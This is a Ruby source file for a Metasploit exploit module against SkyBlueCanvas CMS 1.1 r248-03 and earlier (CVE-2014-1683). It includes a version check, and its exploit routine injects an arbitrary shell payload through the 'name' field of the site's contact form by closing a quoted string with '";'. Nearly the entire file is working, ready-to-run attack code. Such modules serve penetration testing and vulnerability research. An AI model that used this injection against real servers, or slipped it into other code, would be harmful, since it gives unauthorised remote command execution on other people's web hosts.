97 lines
2.7 KiB
Ruby
97 lines
2.7 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => 'SkyBlueCanvas CMS Remote Code Execution',
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'Description' => %q{
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This module exploits an arbitrary command execution vulnerability
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in SkyBlueCanvas CMS version 1.1 r248-03 and below.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Scott Parish', # Vulnerability discovery and exploit
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'xistence <xistence[at]0x90.nl>' # Metasploit Module
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],
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'References' =>
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[
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['CVE', '2014-1683'],
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['OSVDB', '102586'],
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['BID', '65129'],
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['EDB', '31183'],
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['PACKETSTORM', '124948']
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],
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'Privileged' => false,
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'Payload' =>
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{
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# Arbitrary big number. The payload gets sent as an HTTP
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# response body, so really it's unlimited
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'Space' => 262144, # 256k
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'DisableNops' => true,
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'Compat' =>
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{
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'ConnectionType' => 'find',
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic perl ruby telnet python'
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}
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},
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'Platform' => %w{ unix },
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'Targets' =>
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[
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['SkyBlueCanvas 1.1 r248', {}]
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],
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'Arch' => ARCH_CMD,
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'DisclosureDate' => 'Jan 28 2014',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI',[true, "The path to the SkyBlueCanvas CMS installation", "/"]),
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])
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end
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def check
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uri = normalize_uri(target_uri.path.to_s, "index.php")
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res = send_request_raw('uri' => uri)
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if res && res.body.include?('SkyBlueCanvas [1.1 r248]')
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vprint_good("SkyBlueCanvas CMS 1.1 r248-xx found")
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return Exploit::CheckCode::Appears
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end
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Exploit::CheckCode::Safe
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end
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def exploit
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uri = normalize_uri(target_uri.path.to_s, "index.php")
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vprint_status("Sending request to #{uri}.")
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send_request_cgi({
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'method' => 'POST',
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'uri' => uri,
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'vars_get' => { 'pid' => '4' },
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'vars_post' =>
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{
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'cid' => '3',
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'name' => "#{rand_text_alphanumeric(10)}\";#{payload.encoded};",
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'email' => rand_text_alphanumeric(10),
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'subject' => rand_text_alphanumeric(10),
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'message' => rand_text_alphanumeric(10),
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'action' => 'Send',
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'mailinglist' => '0',
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'cc' => '0'
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}
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})
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end
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end
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